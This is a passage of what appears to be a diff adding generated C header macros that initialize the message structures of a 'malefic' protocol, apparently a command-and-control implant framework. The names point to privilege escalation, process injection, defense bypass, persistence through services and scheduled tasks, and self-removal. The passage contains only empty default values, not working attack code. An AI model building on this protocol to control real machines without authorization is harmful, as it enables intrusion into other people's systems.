malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default}} +#define malefic_ExecRequest_init_default {"", 0, {"", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", ""}, 0, 0, 0, 0} +#define malefic_ExecResponse_init_default {0, {0, {0}}, {0, {0}}, 0, 0} +#define malefic_BinaryResponse_init_default {{0, {0}}, {0, {0}}, 0, ""} +#define malefic_Modules_init_default {0, {"", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", ""}} +#define malefic_Addons_init_default {0, {malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default}} +#define malefic_Addon_init_default {"", "", ""} +#define malefic_LoadModule_init_default {"", {0, {0}}} +#define malefic_LoadAddon_init_default {"", "", "", {0, {0}}} +#define malefic_ExecuteAddon_init_default {"", false, malefic_ExecuteBinary_init_default} +#define malefic_ExecuteBinary_init_default {"", {0, {0}}, {{NULL}, NULL}, "", "", 0, {"", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", ""}, "", {0, {0}}, 0, 0, 0, false, malefic_SacrificeProcess_init_default, "", "", 0} +#define malefic_ExecuteBinary_ParamEntry_init_default {{{NULL}, NULL}, {{NULL}, NULL}} +#define malefic_ExecuteCommand_init_default {"", false, malefic_SacrificeProcess_init_default} +#define malefic_UploadRequest_init_default {"", "", 0, {0, {0}}, 0, 0} +#define malefic_DownloadRequest_init_default {"", "", 0, 0, 0} +#define malefic_DownloadResponse_init_default {"", 0, 0, {0, {0}}} +#define malefic_CurlRequest_init_default {"", 0, "", {0, {0}}, {{NULL}, NULL}, ""} +#define malefic_CurlRequest_HeaderEntry_init_default {{{NULL}, NULL}, {{NULL}, NULL}} +#define malefic_ChownRequest_init_default {"", "", "", 0} +#define malefic_IfconfigResponse_init_default {0, {malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default}} +#define malefic_RegistryRequest_init_default {"", false, malefic_Registry_init_default} +#define malefic_Registry_init_default {"", "", ""} +#define malefic_RegistryWriteRequest_init_default {"", "", "", "", {0, {0}}, 0, 0, 0} +#define malefic_TaskScheduleRequest_init_default {"", false, malefic_TaskSchedule_init_default} +#define malefic_TaskSchedule_init_default {"", "", "", 0, "", "", 0, "", ""} +#define malefic_TaskSchedulesResponse_init_default {0, {malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default}} +#define malefic_ServiceRequest_init_default {"", false, malefic_ServiceConfig_init_default} +#define malefic_ServiceConfig_init_default {"", "", "", 0, 0, ""} +#define malefic_ServiceStatus_init_default {0, 0, 0, 0, 0} +#define malefic_Service_init_default {false, malefic_ServiceConfig_init_default, false, malefic_ServiceStatus_init_default} +#define malefic_ServicesResponse_init_default {0, {malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default}} +#define malefic_WmiQueryRequest_init_default {"", 0, {"", "", "", "", "", "", "", "", "", "", "", "", "", "", "", ""}} +#define malefic_WmiMethodRequest_init_default {"", "", "", {{NULL}, NULL}} +#define malefic_WmiMethodRequest_ParamsEntry_init_default {{{NULL}, NULL}, {{NULL}, NULL}} +#define malefic_RunAsRequest_init_default {"", "", "", "", "", 0, 0, 0} +#define malefic_GetSystem_init_default {{0, {0}}, 0} +#define malefic_Inject_init_default {{0, {0}}, 0} +#define malefic_Pipe_init_default {"", "", {0, {0}}} +#define malefic_PipeRequest_init_default {"", false, malefic_Pipe_init_default} +#define malefic_Switch_init_default {0, {"", "", "", "", "", "", "", "", "", "", "", "", "", "", "", ""}} +#define malefic_TaskCtrl_init_default {0, ""} +#define malefic_TaskInfo_init_default {0, 0, 0, 0} +#define malefic_TaskListResponse_init_default {0, {malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default}} +#define malefic_FFmpegRequest_init_default {"", "", "", "", ""} +#define malefic_PtyRequest_init_default {"", "", "", 0, 0, {0, {0}}, "", {{NULL}, NULL}} +#define malefic_PtyRequest_ParamsEntry_init_default {{{NULL}, NULL}, {{NULL}, NULL}} +#define malefic_PtyResponse_init_default {"", {0, {0}}, "", "", 0, 0, {"", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", ""}, {{NULL}, NULL}} +#define malefic_PtyResponse_MetadataEntry_init_default {{{NULL}, NULL}, {{NULL}, NULL}} +#define malefic_CommonBody_init_default {"", 0, {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, 0, {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, 0, {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, 0, {"", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", ""}, 0, {{0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}}} +#define malefic_Ping_init_zero {0} +#define malefic_Register_init_zero {"", "", 0, {"", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", ""}, 0, {malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero}, false, malefic_Timer_init_zero, false, malefic_SysInfo_init_zero, false, malefic_Secure_init_zero} +#define malefic_Secure_init_zero {0, "", "", ""} +#define malefic_KeyExchangeRequest_init_zero {"", {0, {0}}, 0, ""} +#define malefic_KeyExchangeResponse_init_zero {""} +#define malefic_Init_init_zero {{0, {0}}} +#define malefic_SysInfo_init_zero {"", "", 0, false, malefic_Os_init_zero, false, malefic_Process_init_zero} +#define malefic_Suicide_init_zero {0, 0} +#define malefic_Request_init_zero {"", "", 0, {"", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", ""}, {{NULL}, NULL}, {0, {0}}} +#define malefic_Request_ParamsEntry_init_zero {{{NULL}, NULL}, {{NULL}, NULL}} +#define malefic_Response_init_zero {"", "", {{NULL}, NULL}, 0, {"", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", ""}} +#define malefic_Response_KvEntry_init_zero {{{NULL}, NULL}, {{NULL}, NULL}} +#define malefic_BypassRequest_init_zero {0, 0, 0} +#define malefic_NetInterface_init_zero {0, "", "", 0, {"", "", "", "", "", "", "", "", "", "", "", "", "", "", "", ""}} +#define malefic_SockTabEntry_init_zero {"", "", "", "", ""} +#define malefic_NetstatResponse_init_zero {0, {malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero}} +#define malefic_Block_init_zero {0, {0, {0}}, 0} +#define malefic_ACK_init_zero {0, 0, 0} +#define malefic_Os_init_zero {"", "", "", "", "", "", "", 0, {"", "", "", "", "", "", "", ""}} +#define malefic_Process_init_zero {"", 0, 0, "", "", "", "", ""} +#define malefic_Timer_init_zero {"", 0} 